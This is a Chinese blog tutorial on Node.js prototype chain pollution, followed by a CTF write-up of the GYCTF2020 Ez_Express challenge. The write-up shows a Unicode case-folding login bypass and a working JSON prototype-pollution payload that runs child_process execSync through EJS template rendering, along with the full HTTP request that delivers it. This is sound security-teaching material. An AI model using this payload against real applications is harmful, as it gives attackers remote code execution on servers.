Nodejs原型链污染
y1zh3e7 Lv2

Nodejs原型链污染

Nodejs与JavaScript和JSON

有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别 如果没有node 那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析 几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8) 这也是为什么我们能在f12中直接执行JavaScript的原因 而Nodejs则是由这个解析器单独从浏览器中拿出来 并进行了一系列的处理 最后成为了一个可以在服务端运行JavaScript的环境 这里看到一个很好的例子 学过java的师傅应该就明白了

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那么JSON又是什么呢 简单概括一下就是JavaScript的对象表示方法 它表示的是声明对象的一种格式 由于我们从前端接收到的数据基本都是字符串 因此在服务端如果要将这些字符串处理为其他格式 比如对象 就需要用到JSON了

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原型对象(prototype)与原型连接点(__proto__)与原型链

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在c++或java这些面向对象的语言中 我们如果想要一个对象首先需要使用关键字class声明一个类 再使用关键字new一个对象出来 但是在JavaScript中没有class 以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖) 在JavaScript有这么两种声明对象的方式 为了好理解我们先引入类的思想

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person=new Object()
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";

这种创建对象的方法还有另一种写法 如下
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

这种方法通过直接实例化构造方法Object()来创建对象
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function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器
{
this.firstname=firstname;
this.lastname=lastname;
this.age=age;
this.eyecolor=eyecolor;
}
var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象
var myMother=new person("Sally","Rally",48,"green");

这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释

既然是通过实例化Object来创建对象或创建构造函数

在JavaScript中有两个很特殊的对象 Function() 和 Object() 它们两个既是构造函数也是对象 作为对象是不是应该有一个“类”去作为他们的模板呢

对于Object()来说 要声明这么一个构造函数我们可以使用关键字function来创建 (在底层 使用function创建一个函数 其实就相当于这个过程)

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function Object()
{

}
在底层为
var Object = new Function();

那么对于Function自己这个对象他是怎么来的呢 如果用Function.__proto__和Function.prototype进行比较发现二者是全等的 所以Function创造了自己 也创造了Object 所以JavaScript中 所有函数都是对象 而对象是通过函数创建的 因此构造函数.prototype.__proto__ 应该是Object.prototype 而不是Function.prototype Function的作用是创建而不是继承

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那么提到了__proto__prototype我们就来说说这两个是什么东西

首先我们要了解以下概念

  • __proto__是任何一个对象拥有的属性 prototype是任何一个函数拥有的一个属性

比如

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person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

那么这个person对象就拥有了person.__proto__这个属性 而Object()我们刚才提到了是由Function创建来的一个构造函数 那么Object就天生有了Object.prototype

  • 某一对象的 __proto__指向它的prototype(原型对象) 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype
  • JavaScript使用prototype链实现继承机制
  • 构造函数xxx.prototype是一个对象 xxx.prototype也有自己的__proto__属性 并且可以继续指向它的的prototype
  • Object.prototype.proto最终指向null 这也是所有原型链的终点
  • 从一个对象的__proto__不断向上指向原型对象最终指向Objecct.prototype后接着指向为Null 这一条链子就叫做原型链

有条件的师傅也可以把下面的视频合集看一下 对理解原型和原型链有很大的帮助

4_Function与Object的特殊性_哔哩哔哩_bilibili

如果我们有如下代码:

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function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

那么按照上述说法 就有如下结构

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对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。

原型链污染

举个栗子

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// 这个对象直接实例化Object()
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

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这里由于修改了foo.__proto__.bar 也就是修改了Object.bar 因此在后续的实例化对象中 新的对象会继承这一属性 造成了原型链污染

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可

看下面代码 一个简单的对象clone

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function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// 如果target与source有相同的键名 则让target的键值为source的键值
merge(target[key], source[key])
} else {
target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
}
}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

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这里执行后发现 虽然两个对象成功clone 但是Object()并没用被污染 这是因为在创建o2时 __proto__是已经存在于o2中的属性了 解析器并不能将这个属性解析为键值 所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象) 这样就可以使__proto__被成功解析成键名了

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let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

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漏洞复现

[GYCTF2020]Ez_Express

进入环境之后是一个登录页面 测试之后发现存在www.zip源码泄露 开始审计index.js

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var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

看下面两段代码

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function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}
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router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});

只有用admin登录才会return keyword 否则返回undefined 返回undefined就会弹窗forbid word 如果username经过toUpperCase后不能与原来的匹配 或password错误 就会弹窗error passwd 这也是为什么题中说用户名只支持大写

再看这段 就很恶心 如果username为ADMIN就不能登录 又不让用admin 又得用admin登录 这里就用到了JavaScript大小写的漏洞

原理移步p神博客 Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)

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if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 

所以用ADMıN来绕过 注意不是ADMiN 中间那个i是一个奇怪的字符 把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın)登录进去还给了flag的位置

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这里试了试没啥用 继续看源码 上面提到了 merge clone操作可以控制键值和键名 从而达到污染

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const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}

往下看找到调用clone的位置

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router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

也就是说我们可以在action路由下通过请求体来进行污染 原型链污染的位置找到了 接下来就是要找到可以用来控制键名和键值的对象

看到这段

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router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

render函数应该不陌生 在模板注入攻击(SSTI)中很常见 这里将回显req的outputFunctionNmae渲染到了index中 那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢 代码跟下来我们发现并没有outputFunctionName这个东西 也就是说它是我们可以用来污染原型链的载体 如果把Object的prototype中加上键名为outputFunctionName 键值为恶意payload的属性 那么在进行模板渲染时 是不是就会执行我们的恶意payload

但是我们考虑一个问题 如何去修改Object的prototype (确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码

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router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

发现请求体被clone到了req.session.user.data中 对于req.session.user这个对象来说 它的__proto__属性是不是就是Object的prototype 所以我们可以修改了这个对象的__proto__从而达到目的

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req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}

SSTI的payload我也不是很懂 反正原理都是不断调用原型对象 最后找到一个可以用来rce的函数 payload和CVE-2019-10744是一样的 直接搬来用了

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{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

污染成功后在info路由下调用res.outputFunctionName时 就像上面调用son.last_name的过程一样 最终调用到了Object的outputFunctionName 并且要让__proto__为键名 要用JSON格式 所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考 记得路由和传参方式也要改 再传payload

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POST /action HTTP/1.1
Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
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Content-Type: application/json
Connection: close
Content-Length: 137

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

在action路由下污染成功后应该接着访问info路由进行SSTI 但是不知道为啥我包发过去直接给flag了

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参考文章

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

【全网首发:已完结】快速搞懂『原型、原型链』【JavaScript基础专题】_哔哩哔哩_bilibili

GYCTF2020]Ez_Express 原型链污染_-栀蓝-的博客-CSDN博客

Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)

Web/Nodejs]原型链污染EJS模块的利用分析(附源码分析)_車鈊的博客-CSDN博客

https://xz.aliyun.com/t/6113#toc-4

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